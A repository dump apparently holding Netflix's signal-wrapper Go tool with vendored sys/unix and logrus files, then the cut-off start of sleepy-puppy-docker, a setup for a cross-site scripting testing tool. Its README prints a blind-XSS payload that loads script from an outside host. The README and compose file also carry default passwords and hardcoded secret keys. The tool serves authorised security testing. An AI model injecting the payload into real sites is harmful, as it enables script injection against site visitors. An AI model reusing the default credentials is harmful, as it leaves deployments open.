signal-wrapper | {"type": "directory", "name": "signal-wrapper", "children": [{"type": "directory", "name": ".circleci", "children": [{"type": "file", "name": "config.yml"}]}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE.txt"}, {"type": "file", "name": "main.go"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "shutdown.sh"}, {"type": "file", "name": "trap.sh"}]}, {"type": "file", "name": "test.sh"}, {"type": "directory", "name": "vendor", "children": [{"type": "directory", "name": "github.com", "children": [{"type": "directory", "name": "sirupsen", "children": [{"type": "directory", "name": "logrus", "children": [{"type": "file", "name": "alt_exit.go"}, {"type": "file", "name": "appveyor.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "doc.go"}, {"type": "file", "name": "entry.go"}, {"type": "file", "name": "exported.go"}, {"type": "file", "name": "formatter.go"}, {"type": "file", "name": "hooks.go"}, {"type": "file", "name": "json_formatter.go"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "logger.go"}, {"type": "file", "name": "logrus.go"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "terminal_bsd.go"}, {"type": "file", "name": "terminal_check_appengine.go"}, {"type": "file", "name": "terminal_check_notappengine.go"}, {"type": "file", "name": "terminal_linux.go"}, {"type": "file", "name": "text_formatter.go"}, {"type": "file", "name": "writer.go"}]}]}]}, {"type": "directory", "name": "golang.org", "children": [{"type": "directory", "name": "x", "children": [{"type": "directory", "name": "crypto", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "PATENTS"}, {"type": "directory", "name": "ssh", "children": [{"type": "directory", "name": "terminal", "children": [{"type": "file", "name": "terminal.go"}, {"type": "file", "name": "util.go"}, {"type": "file", "name": "util_bsd.go"}, {"type": "file", "name": "util_linux.go"}, {"type": "file", "name": "util_plan9.go"}, {"type": "file", "name": "util_solaris.go"}, {"type": "file", "name": "util_windows.go"}]}]}]}, {"type": "directory", "name": "sys", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "PATENTS"}, {"type": "directory", "name": "unix", "children": [{"type": "file", "name": "affinity_linux.go"}, {"type": "file", "name": "asm_darwin_386.s"}, {"type": "file", "name": "asm_darwin_amd64.s"}, {"type": "file", "name": "asm_darwin_arm.s"}, {"type": "file", "name": "asm_darwin_arm64.s"}, {"type": "file", "name": "asm_dragonfly_amd64.s"}, {"type": "file", "name": "asm_freebsd_386.s"}, {"type": "file", "name": "asm_freebsd_amd64.s"}, {"type": "file", "name": "asm_freebsd_arm.s"}, {"type": "file", "name": "asm_linux_386.s"}, {"type": "file", "name": "asm_linux_amd64.s"}, {"type": "file", "name": "asm_linux_arm.s"}, {"type": "file", "name": "asm_linux_arm64.s"}, {"type": "file", "name": "asm_linux_mips64x.s"}, {"type": "file", "name": "asm_linux_mipsx.s"}, {"type": "file", "name": "asm_linux_ppc64x.s"}, {"type": "file", "name": "asm_linux_s390x.s"}, {"type": "file", "name": "asm_netbsd_386.s"}, {"type": "file", "name": "asm_netbsd_amd64.s"}, {"type": "file", "name": "asm_netbsd_arm.s"}, {"type": "file", "name": "asm_openbsd_386.s"}, {"type": "file", "name": "asm_openbsd_amd64.s"}, {"type": "file", "name": "asm_openbsd_arm.s"}, {"type": "file", "name": "asm_solaris_amd64.s"}, {"type": "file", "name": "bluetooth_linux.go"}, {"type": "file", "name": "cap_freebsd.go"}, {"type": "file", "name": "constants.go"}, {"type": "file", "name": "dev_darwin.go"}, {"type": "file", "name": "dev_dragonfly.go"}, {"type": "file", "name": "dev_freebsd.go"}, {"type": "file", "name": "dev_linux.go"}, {"type": "file", "name": "dev_netbsd.go"}, {"type": "file", "name": "dev_openbsd.go"}, {"type": "file", "name": "dirent.go"}, {"type": "file", "name": "endian_big.go"}, {"type": "file", "name": "endian_little.go"}, {"type": "file", "name": "env_unix.go"}, {"type": "file", "name": "errors_freebsd_386.go"}, {"type": "file", "name": "errors_freebsd_amd64.go"}, {"type": "file", "name": "errors_freebsd_arm.go"}, {"type": "file", "name": "flock.go"}, {"type": "file", "name": "flock_linux_32bit.go"}, {"type": "file", "name": "gccgo.go"}, {"type": "file", "name": "gccgo_c.c"}, {"type": "file", "name": "gccgo_linux_amd64.go"}, {"type": "file", "name": "mkall.sh"}, {"type": "file", "name": "mkerrors.sh"}, {"type": "file", "name": "mkpost.go"}, {"type": "file", "name": "mksyscall.pl"}, {"type": "file", "name": "mksyscall_solaris.pl"}, {"type": "file", "name": "mksysctl_openbsd.pl"}, {"type": "file", "name": "mksysnum_darwin.pl"}, {"type": "file", "name": "mksysnum_dragonfly.pl"}, {"type": "file", "name": "mksysnum_freebsd.pl"}, {"type": "file", "name": "mksysnum_netbsd.pl"}, {"type": "file", "name": "mksysnum_openbsd.pl"}, {"type": "file", "name": "openbsd_pledge.go"}, {"type": "file", "name": "pagesize_unix.go"}, {"type": "file", "name": "race.go"}, {"type": "file", "name": "race0.go"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "sockcmsg_linux.go"}, {"type": "file", "name": "sockcmsg_unix.go"}, {"type": "file", "name": "str.go"}, {"type": "file", "name": "syscall.go"}, {"type": "file", "name": "syscall_bsd.go"}, {"type": "file", "name": "syscall_darwin.go"}, {"type": "file", "name": "syscall_darwin_386.go"}, {"type": "file", "name": "syscall_darwin_amd64.go"}, {"type": "file", "name": "syscall_darwin_arm.go"}, {"type": "file", "name": "syscall_darwin_arm64.go"}, {"type": "file", "name": "syscall_dragonfly.go"}, {"type": "file", "name": "syscall_dragonfly_amd64.go"}, {"type": "file", "name": "syscall_freebsd.go"}, {"type": "file", "name": "syscall_freebsd_386.go"}, {"type": "file", "name": "syscall_freebsd_amd64.go"}, {"type": "file", "name": "syscall_freebsd_arm.go"}, {"type": "file", "name": "syscall_linux.go"}, {"type": "file", "name": "syscall_linux_386.go"}, {"type": "file", "name": "syscall_linux_amd64.go"}, {"type": "file", "name": "syscall_linux_amd64_gc.go"}, {"type": "file", "name": "syscall_linux_arm.go"}, {"type": "file", "name": "syscall_linux_arm64.go"}, {"type": "file", "name": "syscall_linux_gc.go"}, {"type": "file", "name": "syscall_linux_mips64x.go"}, {"type": "file", "name": "syscall_linux_mipsx.go"}, {"type": "file", "name": "syscall_linux_ppc64x.go"}, {"type": "file", "name": "syscall_linux_s390x.go"}, {"type": "file", "name": "syscall_linux_sparc64.go"}, {"type": "file", "name": "syscall_netbsd.go"}, {"type": "file", "name": "syscall_netbsd_386.go"}, {"type": "file", "name": "syscall_netbsd_amd64.go"}, {"type": "file", "name": "syscall_netbsd_arm.go"}, {"type": "file", "name": "syscall_openbsd.go"}, {"type": "file", "name": "syscall_openbsd_386.go"}, {"type": "file", "name": "syscall_openbsd_amd64.go"}, {"type": "file", "name": "syscall_openbsd_arm.go"}, {"type": "file", "name": "syscall_solaris.go"}, {"type": "file", "name": "syscall_solaris_amd64.go"}, {"type": "file", "name": "syscall_unix.go"}, {"type": "file", "name": "syscall_unix_gc.go"}, {"type": "file", "name": "timestruct.go"}, {"type": "file", "name": "types_darwin.go"}, {"type": "file", "name": "types_dragonfly.go"}, {"type": "file", "name": "types_freebsd.go"}, {"type": "file", "name": "types_netbsd.go"}, {"type": "file", "name": "types_openbsd.go"}, {"type": "file", "name": "types_solaris.go"}, {"type": "file", "name": "zerrors_darwin_386.go"}, {"type": "file", "name": "zerrors_darwin_amd64.go"}, {"type": "file", "name": "zerrors_darwin_arm.go"}, {"type": "file", "name": "zerrors_darwin_arm64.go"}, {"type": "file", "name": "zerrors_dragonfly_amd64.go"}, {"type": "file", "name": "zerrors_freebsd_386.go"}, {"type": "file", "name": "zerrors_freebsd_amd64.go"}, {"type": "file", "name": "zerrors_freebsd_arm.go"}, {"type": "file", "name": "zerrors_linux_386.go"}, {"type": "file", "name": "zerrors_linux_amd64.go"}, {"type": "file", "name": "zerrors_linux_arm.go"}, {"type": "file", "name": "zerrors_linux_arm64.go"}, {"type": "file", "name": "zerrors_linux_mips.go"}, {"type": "file", "name": "zerrors_linux_mips64.go"}, {"type": "file", "name": "zerrors_linux_mips64le.go"}, {"type": "file", "name": "zerrors_linux_mipsle.go"}, {"type": "file", "name": "zerrors_linux_ppc64.go"}, {"type": "file", "name": "zerrors_linux_ppc64le.go"}, {"type": "file", "name": "zerrors_linux_s390x.go"}, {"type": "file", "name": "zerrors_linux_sparc64.go"}, {"type": "file", "name": "zerrors_netbsd_386.go"}, {"type": "file", "name": "zerrors_netbsd_amd64.go"}, {"type": "file", "name": "zerrors_netbsd_arm.go"}, {"type": "file", "name": "zerrors_openbsd_386.go"}, {"type": "file", "name": "zerrors_openbsd_amd64.go"}, {"type": "file", "name": "zerrors_openbsd_arm.go"}, {"type": "file", "name": "zerrors_solaris_amd64.go"}, {"type": "file", "name": "zptrace386_linux.go"}, {"type": "file", "name": "zptracearm_linux.go"}, {"type": "file", "name": "zptracemipsle_linux.go"}, {"type": "file", "name": "zptracemips_linux.go"}, {"type": "file", "name": "zsyscall_darwin_386.go"}, {"type": "file", "name": "zsyscall_darwin_amd64.go"}, {"type": "file", "name": "zsyscall_darwin_arm.go"}, {"type": "file", "name": "zsyscall_darwin_arm64.go"}, {"type": "file", "name": "zsyscall_dragonfly_amd64.go"}, {"type": "file", "name": "zsyscall_freebsd_386.go"}, {"type": "file", "name": "zsyscall_freebsd_amd64.go"}, {"type": "file", "name": "zsyscall_freebsd_arm.go"}, {"type": "file", "name": "zsyscall_linux_386.go"}, {"type": "file", "name": "zsyscall_linux_amd64.go"}, {"type": "file", "name": "zsyscall_linux_arm.go"}, {"type": "file", "name": "zsyscall_linux_arm64.go"}, {"type": "file", "name": "zsyscall_linux_mips.go"}, {"type": "file", "name": "zsyscall_linux_mips64.go"}, {"type": "file", "name": "zsyscall_linux_mips64le.go"}, {"type": "file", "name": "zsyscall_linux_mipsle.go"}, {"type": "file", "name": "zsyscall_linux_ppc64.go"}, {"type": "file", "name": "zsyscall_linux_ppc64le.go"}, {"type": "file", "name": "zsyscall_linux_s390x.go"}, {"type": "file", "name": "zsyscall_linux_sparc64.go"}, {"type": "file", "name": "zsyscall_netbsd_386.go"}, {"type": "file", "name": "zsyscall_netbsd_amd64.go"}, {"type": "file", "name": "zsyscall_netbsd_arm.go"}, {"type": "file", "name": "zsyscall_openbsd_386.go"}, {"type": "file", "name": "zsyscall_openbsd_amd64.go"}, {"type": "file", "name": "zsyscall_openbsd_arm.go"}, {"type": "file", "name": "zsyscall_solaris_amd64.go"}, {"type": "file", "name": "zsysctl_openbsd_386.go"}, {"type": "file", "name": "zsysctl_openbsd_amd64.go"}, {"type": "file", "name": "zsysctl_openbsd_arm.go"}, {"type": "file", "name": "zsysnum_darwin_386.go"}, {"type": "file", "name": "zsysnum_darwin_amd64.go"}, {"type": "file", "name": "zsysnum_darwin_arm.go"}, {"type": "file", "name": "zsysnum_darwin_arm64.go"}, {"type": "file", "name": "zsysnum_dragonfly_amd64.go"}, {"type": "file", "name": "zsysnum_freebsd_386.go"}, {"type": "file", "name": "zsysnum_freebsd_amd64.go"}, {"type": "file", "name": "zsysnum_freebsd_arm.go"}, {"type": "file", "name": "zsysnum_linux_386.go"}, {"type": "file", "name": "zsysnum_linux_amd64.go"}, {"type": "file", "name": "zsysnum_linux_arm.go"}, {"type": "file", "name": "zsysnum_linux_arm64.go"}, {"type": "file", "name": "zsysnum_linux_mips.go"}, {"type": "file", "name": "zsysnum_linux_mips64.go"}, {"type": "file", "name": "zsysnum_linux_mips64le.go"}, {"type": "file", "name": "zsysnum_linux_mipsle.go"}, {"type": "file", "name": "zsysnum_linux_ppc64.go"}, {"type": "file", "name": "zsysnum_linux_ppc64le.go"}, {"type": "file", "name": "zsysnum_linux_s390x.go"}, {"type": "file", "name": "zsysnum_linux_sparc64.go"}, {"type": "file", "name": "zsysnum_netbsd_386.go"}, {"type": "file", "name": "zsysnum_netbsd_amd64.go"}, {"type": "file", "name": "zsysnum_netbsd_arm.go"}, {"type": "file", "name": "zsysnum_openbsd_386.go"}, {"type": "file", "name": "zsysnum_openbsd_amd64.go"}, {"type": "file", "name": "zsysnum_openbsd_arm.go"}, {"type": "file", "name": "ztypes_darwin_386.go"}, {"type": "file", "name": "ztypes_darwin_amd64.go"}, {"type": "file", "name": "ztypes_darwin_arm.go"}, {"type": "file", "name": "ztypes_darwin_arm64.go"}, {"type": "file", "name": "ztypes_dragonfly_amd64.go"}, {"type": "file", "name": "ztypes_freebsd_386.go"}, {"type": "file", "name": "ztypes_freebsd_amd64.go"}, {"type": "file", "name": "ztypes_freebsd_arm.go"}, {"type": "file", "name": "ztypes_linux_386.go"}, {"type": "file", "name": "ztypes_linux_amd64.go"}, {"type": "file", "name": "ztypes_linux_arm.go"}, {"type": "file", "name": "ztypes_linux_arm64.go"}, {"type": "file", "name": "ztypes_linux_mips.go"}, {"type": "file", "name": "ztypes_linux_mips64.go"}, {"type": "file", "name": "ztypes_linux_mips64le.go"}, {"type": "file", "name": "ztypes_linux_mipsle.go"}, {"type": "file", "name": "ztypes_linux_ppc64.go"}, {"type": "file", "name": "ztypes_linux_ppc64le.go"}, {"type": "file", "name": "ztypes_linux_s390x.go"}, {"type": "file", "name": "ztypes_linux_sparc64.go"}, {"type": "file", "name": "ztypes_netbsd_386.go"}, {"type": "file", "name": "ztypes_netbsd_amd64.go"}, {"type": "file", "name": "ztypes_netbsd_arm.go"}, {"type": "file", "name": "ztypes_openbsd_386.go"}, {"type": "file", "name": "ztypes_openbsd_amd64.go"}, {"type": "file", "name": "ztypes_openbsd_arm.go"}, {"type": "file", "name": "ztypes_solaris_amd64.go"}]}, {"type": "directory", "name": "windows", "children": [{"type": "file", "name": "asm_windows_386.s"}, {"type": "file", "name": "asm_windows_amd64.s"}, {"type": "file", "name": "dll_windows.go"}, {"type": "file", "name": "env_windows.go"}, {"type": "file", "name": "eventlog.go"}, {"type": "file", "name": "exec_windows.go"}, {"type": "file", "name": "memory_windows.go"}, {"type": "file", "name": "mksyscall.go"}, {"type": "file", "name": "race.go"}, {"type": "file", "name": "race0.go"}, {"type": "file", "name": "security_windows.go"}, {"type": "file", "name": "service.go"}, {"type": "file", "name": "str.go"}, {"type": "file", "name": "syscall.go"}, {"type": "file", "name": "syscall_windows.go"}, {"type": "file", "name": "types_windows.go"}, {"type": "file", "name": "types_windows_386.go"}, {"type": "file", "name": "types_windows_amd64.go"}, {"type": "file", "name": "zsyscall_windows.go"}]}]}]}]}, {"type": "file", "name": "vendor.json"}]}, {"type": "file", "name": "verify.py"}]} | # Building `sys/unix`
The sys/unix package provides access to the raw system call interface of the
underlying operating system. See: https://godoc.org/golang.org/x/sys/unix
Porting Go to a new architecture/OS combination or adding syscalls, types, or
constants to an existing architecture/OS pair requires some manual effort;
however, there are tools that automate much of the process.
## Build Systems
There are currently two ways we generate the necessary files. We are currently
migrating the build system to use containers so the builds are reproducible.
This is being done on an OS-by-OS basis. Please update this documentation as
components of the build system change.
### Old Build System (currently for `GOOS != "Linux" || GOARCH == "sparc64"`)
The old build system generates the Go files based on the C header files
present on your system. This means that files
for a given GOOS/GOARCH pair must be generated on a system with that OS and
architecture. This also means that the generated code can differ from system
to system, based on differences in the header files.
To avoid this, if you are using the old build system, only generate the Go
files on an installation with unmodified header files. It is also important to
keep track of which version of the OS the files were generated from (ex.
Darwin 14 vs Darwin 15). This makes it easier to track the progress of changes
and have each OS upgrade correspond to a single change.
To build the files for your current OS and architecture, make sure GOOS and
GOARCH are set correctly and run `mkall.sh`. This will generate the files for
your specific system. Running `mkall.sh -n` shows the commands that will be run.
Requirements: bash, perl, go
### New Build System (currently for `GOOS == "Linux" && GOARCH != "sparc64"`)
The new build system uses a Docker container to generate the go files directly
from source checkouts of the kernel and various system libraries. This means
that on any platform that supports Docker, all the files using the new build
system can be generated at once, and generated files will not change based on
what the person running the scripts has installed on their computer.
The OS specific files for the new build system are located in the `${GOOS}`
directory, and the build is coordinated by the `${GOOS}/mkall.go` program. When
the kernel or system library updates, modify the Dockerfile at
`${GOOS}/Dockerfile` to checkout the new release of the source.
To build all the files under the new build system, you must be on an amd64/Linux
system and have your GOOS and GOARCH set accordingly. Running `mkall.sh` will
then generate all of the files for all of the GOOS/GOARCH pairs in the new build
system. Running `mkall.sh -n` shows the commands that will be run.
Requirements: bash, perl, go, docker
## Component files
This section describes the various files used in the code generation process.
It also contains instructions on how to modify these files to add a new
architecture/OS or to add additional syscalls, types, or constants. Note that
if you are using the new build system, the scripts cannot be called normally.
They must be called from within the docker container.
### asm files
The hand-written assembly file at `asm_${GOOS}_${GOARCH}.s` implements system
call dispatch. There are three entry points:
```
func Syscall(trap, a1, a2, a3 uintptr) (r1, r2, err uintptr)
func Syscall6(trap, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2, err uintptr)
func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2, err uintptr)
```
The first and second are the standard ones; they differ only in how many
arguments can be passed to the kernel. The third is for low-level use by the
ForkExec wrapper. Unlike the first two, it does not call into the scheduler to
let it know that a system call is running.
When porting Go to an new architecture/OS, this file must be implemented for
each GOOS/GOARCH pair.
### mksysnum
Mksysnum is a script located at `${GOOS}/mksysnum.pl` (or `mksysnum_${GOOS}.pl`
for the old system). This script takes in a list of header files containing the
syscall number declarations and parses them to produce the corresponding list of
Go numeric constants. See `zsysnum_${GOOS}_${GOARCH}.go` for the generated
constants.
Adding new syscall numbers is mostly done by running the build on a sufficiently
new installation of the target OS (or updating the source checkouts for the
new build system). However, depending on the OS, you make need to update the
parsing in mksysnum.
### mksyscall.pl
The `syscall.go`, `syscall_${GOOS}.go`, `syscall_${GOOS}_${GOARCH}.go` are
hand-written Go files which implement system calls (for unix, the specific OS,
or the specific OS/Architecture pair respectively) that need special handling
and list `//sys` comments giving prototypes for ones that can be generated.
The mksyscall.pl script takes the `//sys` and `//sysnb` comments and converts
them into syscalls. This requires the name of the prototype in the comment to
match a syscall number in the `zsysnum_${GOOS}_${GOARCH}.go` file. The function
prototype can be exported (capitalized) or not.
Adding a new syscall often just requires adding a new `//sys` function prototype
with the desired arguments and a capitalized name so it is exported. However, if
you want the interface to the syscall to be different, often one will make an
unexported `//sys` prototype, an then write a custom wrapper in
`syscall_${GOOS}.go`.
### types files
For each OS, there is a hand-written Go file at `${GOOS}/types.go` (or
`types_${GOOS}.go` on the old system). This file includes standard C headers and
creates Go type aliases to the corresponding C types. The file is then fed
through godef to get the Go compatible definitions. Finally, the generated code
is fed though mkpost.go to format the code correctly and remove any hidden or
private identifiers. This cleaned-up code is written to
`ztypes_${GOOS}_${GOARCH}.go`.
The hardest part about preparing this file is figuring out which headers to
include and which symbols need to be `#define`d to get the actual data
structures that pass through to the kernel system calls. Some C libraries
preset alternate versions for binary compatibility and translate them on the
way in and out of system calls, but there is almost always a `#define` that can
get the real ones.
See `types_darwin.go` and `linux/types.go` for examples.
To add a new type, add in the necessary include statement at the top of the
file (if it is not already there) and add in a type alias line. Note that if
your type is significantly different on different architectures, you may need
some `#if/#elif` macros in your include statements.
### mkerrors.sh
This script is used to generate the system's various constants. This doesn't
just include the error numbers and error strings, but also the signal numbers
an a wide variety of miscellaneous constants. The constants come from the list
of include files in the `includes_${uname}` variable. A regex then picks out
the desired `#define` statements, and generates the corresponding Go constants.
The error numbers and strings are generated from `#include <errno.h>`, and the
signal numbers and strings are generated from `#include <signal.h>`. All of
these constants are written to `zerrors_${GOOS}_${GOARCH}.go` via a C program,
`_errors.c`, which prints out all the constants.
To add a constant, add the header that includes it to the appropriate variable.
Then, edit the regex (if necessary) to match the desired constant. Avoid making
the regex too broad to avoid matching unintended constants.
## Generated files
### `zerror_${GOOS}_${GOARCH}.go`
A file containing all of the system's generated error numbers, error strings,
signal numbers, and constants. Generated by `mkerrors.sh` (see above).
### `zsyscall_${GOOS}_${GOARCH}.go`
A file containing all the generated syscalls for a specific GOOS and GOARCH.
Generated by `mksyscall.pl` (see above).
### `zsysnum_${GOOS}_${GOARCH}.go`
A list of numeric constants for all the syscall number of the specific GOOS
and GOARCH. Generated by mksysnum (see above).
### `ztypes_${GOOS}_${GOARCH}.go`
A file containing Go types for passing into (or returning from) syscalls.
Generated by godefs and the types file (see above).
| {"main.go": "package main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"os/signal\"\n\t\"syscall\"\n\n\tlog \"github.com/sirupsen/logrus\"\n)\n\nfunc runShutdownScript(ctx context.Context, shutdownScript string) {\n\tcmd := exec.CommandContext(ctx, shutdownScript) // nolint: gas\n\t// Pass through stderr / stdout directly\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tif err := cmd.Run(); err != nil {\n\t\tlog.WithField(\"error\", err).Error(\"Error running shutdown script\")\n\t}\n}\n\nfunc signalWatcher(ctx context.Context, cmd *exec.Cmd, shutdownScript string) {\n\tsignalChan := make(chan os.Signal, 100)\n\t// Listen for all signals\n\tsignal.Notify(signalChan, syscall.SIGINT, syscall.SIGTERM)\n\n\tsignal := <-signalChan\n\tlog.Info(\"Received first signal: \", signal)\n\tlog.WithField(\"shutdownScript\", shutdownScript).WithField(\"signal\", signal.String()).Info(\"Running shutdown script\")\n\trunShutdownScript(ctx, shutdownScript)\n\tlog.WithField(\"shutdownScript\", shutdownScript).Info(\"Shutdown script complete\")\n\tlog.Info(\"Forwarding signal: \", signal)\n\tif err := cmd.Process.Signal(signal); err != nil {\n\t\tlog.Error(\"Unable to forward signal: \", err)\n\t}\n\n\tfor signal = range signalChan {\n\t\tlog.Info(\"Forwarding signal: \", signal)\n\t\tif err := cmd.Process.Signal(signal); err != nil {\n\t\t\tlog.Error(\"Unable to forward signal: \", err)\n\t\t}\n\t}\n}\nfunc main() {\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\tif len(os.Args) < 3 {\n\t\tfmt.Fprintf(os.Stderr, \"Usage: %s [shutdown command] [cmd] [args]\\n\", os.Args[0])\n\t\tos.Exit(1)\n\t}\n\tshutdownScript := os.Args[1]\n\n\tcmd := exec.Command(os.Args[2], os.Args[3:]...) // nolint: gas\n\tgo signalWatcher(ctx, cmd, shutdownScript)\n\tcmd.Stdin = os.Stdin\n\tcmd.Stdout = os.Stdout\n\tcmd.Stderr = os.Stderr\n\tcmd.SysProcAttr = &syscall.SysProcAttr{}\n\tcmd.SysProcAttr.Setpgid = true\n\terr := cmd.Run()\n\tif err != nil {\n\t\tif exiterr, ok := err.(*exec.ExitError); ok {\n\t\t\tif status, ok := exiterr.Sys().(syscall.WaitStatus); ok {\n\t\t\t\tos.Exit(status.ExitStatus())\n\t\t\t}\n\t\t}\n\t\tlog.WithField(\"error\", err).Fatal(\"Unable to run command\")\n\t\tos.Exit(1)\n\t}\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "vendor\\github.com\\sirupsen\\logrus\\appveyor.yml": "version: \"{build}\"\nplatform: x64\nclone_folder: c:\\gopath\\src\\github.com\\sirupsen\\logrus\nenvironment: \n GOPATH: c:\\gopath\nbranches: \n only:\n - master\ninstall: \n - set PATH=%GOPATH%\\bin;c:\\go\\bin;%PATH%\n - go version\nbuild_script: \n - go get -t\n - go test\n", "vendor\\github.com\\sirupsen\\logrus\\terminal_check_appengine.go": "// +build appengine\n\npackage logrus\n\nimport (\n\t\"io\"\n)\n\nfunc checkIfTerminal(w io.Writer) bool {\n\treturn true\n}\n", "vendor\\github.com\\sirupsen\\logrus\\terminal_check_notappengine.go": "// +build !appengine\n\npackage logrus\n\nimport (\n\t\"io\"\n\t\"os\"\n\n\t\"golang.org/x/crypto/ssh/terminal\"\n)\n\nfunc checkIfTerminal(w io.Writer) bool {\n\tswitch v := w.(type) {\n\tcase *os.File:\n\t\treturn terminal.IsTerminal(int(v.Fd()))\n\tdefault:\n\t\treturn false\n\t}\n}\n"} | null |
sleepy-puppy-docker | {"type": "directory", "name": "sleepy-puppy-docker", "children": [{"type": "file", "name": "docker-compose.yml"}, {"type": "directory", "name": "nginx", "children": [{"type": "file", "name": "Dockerfile"}, {"type": "file", "name": "nginx.conf"}, {"type": "directory", "name": "sites-enabled", "children": [{"type": "file", "name": "sleepy_puppy"}]}]}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "web", "children": [{"type": "file", "name": "api-start.sh"}, {"type": "file", "name": "Dockerfile"}]}]} | DEPRECATED
=======================
For full documentation, please see the [wiki](https://github.com/Netflix/sleepy-puppy/wiki).
This repo utilizes docker compose to launch a cluster of containers to support the sleepy-puppy project. This is only meant to be used to **play**. See the [Issues](#Issues) section for information regarding productionalizing these containers.
----------
###Requirements
* Latest version of [Docker Toolbox](https://www.docker.com/toolbox)
* A vm you have created with docker-machine
* Terminal with all docker env variables set
Starting
-------------
First determine the ip address of your docker vm
> docker-machine ls
Replace the host variable in `docker-compose.yaml` with that IP
```
host: <YOUR IP ADDRESS HERE>
```
Start the conatiners
> docker-compose up
Stopping
-------------
> docker-compose stop
Try It Out
-------------
Launch web browser and connect to your docker container's IP over http.
The default credientials are `admin/password`
Architecture
-------------
This project launches three containers:
1. postgres:latest
2. sleepy-puppy-nginx:0.2.0
3. sleepy-puppy-web:0.2.0
Externally, only sleepy-puppy-nginx exposes any ports. This container only exposes TCP 80. See the [Issues](#Issues) section for an explanation of why TCP 443 was not exposed.
Issues
-------------
**No SSL**
Other containers in the zeroToDocker project use self-signed SSL certificates, as only the user will be required to have their browser accept this SSL cert. For sleepy-puppy, the user, and anyone browsing any site with a sleepy-puppy payload would need to accept the self-signed SSL cert.
This is likely to cause confusion when trying to get a payload to fire. To simplify the situation, the docker will not expose SSL. To save a few characters and avoid mixed-content warnings, sleepy-puppy payloads exclude the protocol.
> '"><script src=//ti.ht/x?u=2></script>
Because the payloads exclude the protocol, and the container is not listening on SSL, the payloads will only fire on HTTP (not HTTPS) sites.
If you plan to run this in production, you will need to obtain an SSL cert from a trusted source and modify the sleepy-puppy-nginx container to terminate the SSL.
----------
**Default credentials on the web UI**
The username for the sleepy-puppy web UI is `admin`. The docker-compose.yml defines the password as `password` by setting the `DOCKER_ADMIN_PASS` environment variable.
For production use, you will want to modify or remove this default account.
**Default Flask-Secret and CSRF-Secret**
The docker-compose.yml defines a `secret_key` and `csrf_session_key` environment variable which are passed into the Flask application.
For production use, you will want to modify these values.
**Default credentials on the postgres database**
The username for the postgres database is `postgres`. The password for this database is actually set in the api-start.sh file found within the sleepy-puppy-web container. This password is set to `password`.
You may wish to change this password for production use.
| {"docker-compose.yml": "sleepy-puppy-web:\n restart: always\n build: ./web\n expose:\n - \"8000\"\n links:\n - postgres:postgres\n volumes:\n - /usr/local/src/sleepy-puppy/sleepypuppy/static\n environment:\n DEBUG: False\n sleepypuppy_db: postgresql://postgres:password@postgres/sleepypuppydb\n secret_key: 5(15ds+i2+%ik6z&!yer+ga9m=e%jcqiz_5wszg)r-z!2--b2d\n csrf_session_key: 5(18ds+i2+%ik6z&!yer+ga9m=e%jcqiz_5wszg)r-z!2--b2d\n DOCKER_ADMIN_PASS: password\n host: 192.168.59.103\nsleepy-puppy-nginx:\n restart: always\n build: ./nginx/\n ports:\n - \"80:80\"\n volumes:\n - /www/static\n volumes_from:\n - sleepy-puppy-web\n links:\n - sleepy-puppy-web\n - sleepy-puppy-web:web\n\n# data:\n# restart: always\n# image: postgres:latest\n# volumes:\n# - /var/lib/postgresql\n# command: /bin/true\n\npostgres:\n restart: always\n image: postgres:latest\n # volumes_from:\n # - data\n ports:\n - \"5432\"\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "nginx\\Dockerfile": "FROM nginx\n# RUN rm /etc/nginx/sites-enabled/default\nADD sites-enabled/ /etc/nginx/sites-enabled\nCOPY nginx.conf /etc/nginx/nginx.conf\n", "web\\Dockerfile": "# Copyright 2014 Netflix, Inc.\n#\n# Licensed under the Apache License, 